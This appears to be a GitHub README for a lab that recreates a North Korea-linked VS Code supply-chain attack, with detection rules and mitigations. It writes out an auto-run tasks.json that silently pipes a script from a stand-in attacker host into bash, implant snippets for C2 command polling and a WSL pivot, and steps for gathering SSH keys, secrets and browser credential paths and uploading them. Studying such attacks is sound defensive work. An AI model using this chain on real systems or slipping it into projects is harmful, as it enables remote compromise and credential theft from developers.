Educational recreation of the WaterPlum / StoatWaffle attack chain for security research and awareness.
This repository is strictly for educational and research purposes. All scripts use dummy credential files — no real credentials are harvested. Run only in an isolated lab environment (VirtualBox / VMware). The author is not responsible for any misuse of this material. Do NOT deploy on any system you do not own.
In March 2026, researchers at NTT Security documented a new campaign by WaterPlum — a North Korea-linked threat group — deploying a newly identified modular malware called StoatWaffle through a Visual Studio Code supply chain attack.
The attack targeted developers with blockchain-themed decoy repositories. It marked a significant evolution from WaterPlum's earlier Contagious Interview operation, which previously used OtterCookie malware.
This lab recreates the core components of that attack chain in a safe, controlled environment — using dummy files and LAN infrastructure — to help security researchers and developers understand exactly how the attack works.
Key realism factor: Nothing pre-exists on the victim machine. All implant scripts are downloaded live from the attacker's file server at runtime — exactly how StoatWaffle's vscode-bootstrap.cmd operated via Vercel.
| # | Component | What It Simulates |
|---|---|---|
| 1 | VSCode tasks.json auto-execution |
Initial access via runOn: folderOpen |
| 2 | bootstrap.sh download stage |
Simulates vscode-bootstrap.cmd fetching from Vercel |
| 3 | C2 polling mechanism | Implant checking in every 5 seconds |
| 4 | Two-way result exfiltration | Command execution + output sent back to C2 |
| 5 | Environment fingerprinting | OS, user, RAM, network, WSL detection |
| 6 | Installed software inventory | Security tools, dev tools, SSH keys, env secrets |
| 7 | Browser credential path discovery | Locating Chrome/Firefox credential databases |
| 8 | Temp directory staging | Random hex dir creation + manifest generation |
| 9 | C2 file upload | Staged files sent to attacker machine |
┌─────────────────────────────────────────────────────────────────┐
│ VICTIM MACHINE │
│ │
│ 1. Developer clones fake blockchain repo │
│ 2. Opens folder in VSCode │
│ 3. Clicks "Allow" on workspace trust prompt │
│ 4. tasks.json fires ONE command: │
│ curl http://ATTACKER:8081/bootstrap.sh | bash │
│ │
│ bootstrap.sh runs automatically: │
│ ├── Checks Node.js → installs if missing (official source) │
│ ├── Downloads all implant scripts from attacker file server │
│ ├── Creates dummy credential files │
│ └── Executes chain.sh silently in background │
│ │
│ chain.sh runs: │
│ ├── implant.js → polls C2 every 5s │
│ ├── fingerprint.js → OS, user, RAM, network info │
│ ├── inventory.js → installed tools, SSH keys, env secrets │
│ ├── browser_discovery.js → Chrome/Firefox credential paths │
│ ├── staging.js → copies files to random /tmp/hex_dir/ │
│ └── uploader.js → POSTs all files to C2 │
└──────────────────────────────┬──────────────────────────────────┘
│ HTTP
▼
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER MACHINE (Kali) │
│ │
│ File Server (port 8081): │
│ └── Serves bootstrap.sh + all implant scripts on demand │
│ │
│ C2 Server (port 8080): │
│ ├── GET /api/errorMessage → delivers command to implant │
│ ├── POST /api/hsocketResult → receives command output │
│ ├── POST /api/manifest → receives file inventory │
│ └── POST /api/upload → receives and saves staged files │
│ │
│ ~/lab-c2/received/ │
│ └── hostname__user__filename (exfiltrated files) │
└─────────────────────────────────────────────────────────────────┘
stoatwaffle-lab/
│
├── README.md
├── LICENSE
│
├── victim/ # Runs on victim machine
│ ├── .vscode/
│ │ └── tasks.json # Auto-execution trigger (curl bootstrap)
│ └── run.sh # Stage 1 — basic PoC
│
├── attacker/ # Runs on attacker machine (Kali)
│ ├── c2_server.py # Python C2 server (port 8080)
│ └── serve/ # File server directory (port 8081)
│ ├── bootstrap.sh # First stage downloader (Vercel equivalent)
│ ├── chain.sh # Full attack chain orchestrator
│ ├── implant.js # C2 polling + RAT loop
│ ├── fingerprint.js # OS/environment fingerprinting
│ ├── inventory.js # Installed software enumeration
│ ├── browser_discovery.js # Browser credential path mapping
│ ├── staging.js # File staging in random temp dir
│ └── uploader.js # C2 file exfiltration
Victim Machine:
- Ubuntu 20.04+ (or any Debian-based Linux)
- Visual Studio Code
- curl
Attacker Machine:
- Kali Linux (VM recommended)
- Python 3.x
- Network connectivity to victim (bridged adapter)
Node.js is not required on the victim machine beforehand —
bootstrap.shchecks and installs it automatically if missing, exactly like the real attack.
Victim (Ubuntu) → YOUR_VICTIM_IP
Attacker (Kali) → YOUR_C2_IP
Network → Bridged adapter (same subnet)
Test connectivity:
ping -c 3 YOUR_C2_IPBefore running, update the following in each file:
| File | Variable | Replace With |
|---|---|---|
attacker/serve/bootstrap.sh |
YOUR_C2_IP |
Your Kali VM IP |
attacker/serve/implant.js |
YOUR_C2_IP |
Your Kali VM IP |
attacker/serve/uploader.js |
YOUR_C2_IP |
Your Kali VM IP |
attacker/serve/chain.sh |
YOUR_C2_IP |
Your Kali VM IP |
attacker/c2_server.py |
YOUR_VICTIM_IP |
Your Ubuntu IP |
victim/.vscode/tasks.json |
YOUR_C2_IP |
Your Kali VM IP |
mkdir -p ~/lab-c2/received
python3 attacker/c2_server.pyExpected output:
[C2] Attacker server running on 0.0.0.0:8080
[C2] Saving exfiltrated files to ~/lab-c2/received
Open a second terminal on Kali:
cd attacker/serve
python3 -m http.server 8081Expected output:
Serving HTTP on 0.0.0.0 port 8081 ...
Close VSCode completely, then open the victim folder:
pkill -f code
code victim/When prompted "This workspace has tasks defined that can launch processes automatically" — click Allow.
tasks.json fires a single curl command that downloads and executes bootstrap.sh from Kali. Everything else happens automatically — nothing was pre-installed on the victim machine.
On victim machine — watch bootstrap log:
watch -n 2 cat /tmp/bootstrap.logOn Kali file server — watch scripts being downloaded:
GET /bootstrap.sh
GET /implant.js
GET /fingerprint.js
...
On Kali — watch received files:
watch -n 2 ls -la ~/lab-c2/received/ls ~/lab-c2/received/
cat ~/lab-c2/received/*Files arrive in format:
hostname__username__filename
"command": "curl -s http://YOUR_C2_IP:8081/bootstrap.sh | bash",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never" }runOn: folderOpen— executes automatically when folder is openedreveal: never— hides terminal, making execution completely silent- Single curl command — minimal footprint in the config file
- No vulnerability exploited — legitimate VSCode feature abused
Simulates StoatWaffle's vscode-bootstrap.cmd delivered via Vercel:
# Check Node.js — install from official source if missing (no AV flags)
if ! command -v node; then
sudo apt install nodejs npm -y
fi
# Download all implant scripts from attacker file server
for script in implant.js fingerprint.js inventory.js ...; do
curl -s "$FILE_SERVER/$script" -o "$LAB/$script"
done
# Execute chain silently in background
bash $LAB/chain.sh &Key insight: Node.js installed from the official apt repository — completely clean, no AV alerts. This is exactly how StoatWaffle avoided detection.
Implant → GET /api/errorMessage (every 5 seconds)
C2 → {"cmd": "whoami && hostname && id"}
Implant → exec(cmd)
Implant → POST /api/hsocketResult (output)
C2 → logs result
Mirrors StoatWaffle's exact polling pattern. Runs as a background process — survives terminal closure via &.
Key feature that made StoatWaffle technically notable:
// Reads /proc/version to detect WSL
const version = fs.readFileSync("/proc/version", "utf8").toLowerCase();
if (version.includes("microsoft") || version.includes("wsl")) {
// Use wslpath to pivot into Windows filesystem from Linux process
exec("wslpath $(cmd.exe /c 'echo %USERPROFILE%')");
}If running under WSL → accesses Windows AppData from a Linux Node.js process. Complicates EDR detection significantly.
Enumerates installed packages via dpkg and categorizes:
- Security tools → wireshark, gdb, ida, nmap, metasploit...
- DevOps tools → docker, kubectl, terraform, aws, gcloud...
- Crypto wallets → metamask, exodus, electrum...
- SSH keys →
~/.ssh/contents - Env secrets → environment variables containing token/key/secret
A machine with security tools + cloud CLI + SSH keys = top priority target.
const randName = crypto.randomBytes(8).toString("hex");
// Creates /tmp/a3f9c21b84d70e56/ — unpredictable pathRandomized directory name makes forensic discovery harder. Generates manifest.json with full file inventory before upload.
| Attack Component | Detection Method |
|---|---|
tasks.json auto-exec |
Monitor VSCode workspace trust events; audit .vscode/tasks.json before trusting any repo |
curl | bash pattern |
EDR rule on shell processes spawned by VSCode executing curl piped to bash |
| Unexpected Node.js install | Auditd rule on apt install nodejs in dev environments |
| C2 polling pattern | Network rule — repeated HTTP GET to same endpoint every 5s |
| Random temp dir creation | Inotify watch on /tmp for new dirs followed by immediate file copies |
| Credential file access | Auditd rule on reads of Login Data, Cookies, key4.db |
| Outbound POST with files | DLP rule on HTTP POST containing JSON with file content |
| Background Node.js process | Process monitoring for node spawned by code (VSCode) |
// settings.json — disable automatic task execution
"task.allowAutomaticTasks": "off"Always review .vscode/tasks.json before trusting any repository.
- No vulnerability was exploited — StoatWaffle abused a legitimate VSCode feature
- Nothing pre-exists on victim machine — all scripts downloaded live at runtime
- Developers are high-value targets — SSH keys, cloud credentials, browser sessions
- Node.js from official source = no AV flags, completely clean install
curl | bashis the real threat — one line in tasks.json = full compromise- WSL pivot = Linux process accessing Windows data = EDR blind spot
- Session cookies > passwords — cookies bypass 2FA entirely
known_hostsreveals every server ever SSH'd into = lateral movement map
- 📰 Original Article: WaterPlum Deploys 'StoatWaffle' Malware in VSCode Supply Chain Attack — CyberSecurityTimes, March 2026
- 🔬 Research Credit: NTT Security — original campaign analysis
- 📖 VSCode Tasks Documentation: https://code.visualstudio.com/docs/editor/tasks
- 🔐 MITRE ATT&CK Techniques:
- T1195.001 — Supply Chain Compromise: Compromise Software Dependencies
- T1059.007 — Command and Scripting Interpreter: JavaScript
- T1059.004 — Command and Scripting Interpreter: Unix Shell
- T1555.003 — Credentials from Password Stores: Credentials from Web Browsers
- T1041 — Exfiltration Over C2 Channel
- T1105 — Ingress Tool Transfer
Sourya Dutta Cybersecurity Researcher | Penetration Tester | Bug Bounty Hunter
- 🐙 GitHub: github.com/Cyber-30
- 💼 LinkedIn: linkedin.com/in/sourya-dutta
MIT License — see LICENSE for details.
Built for the security community. Learn the attack. Build the defense.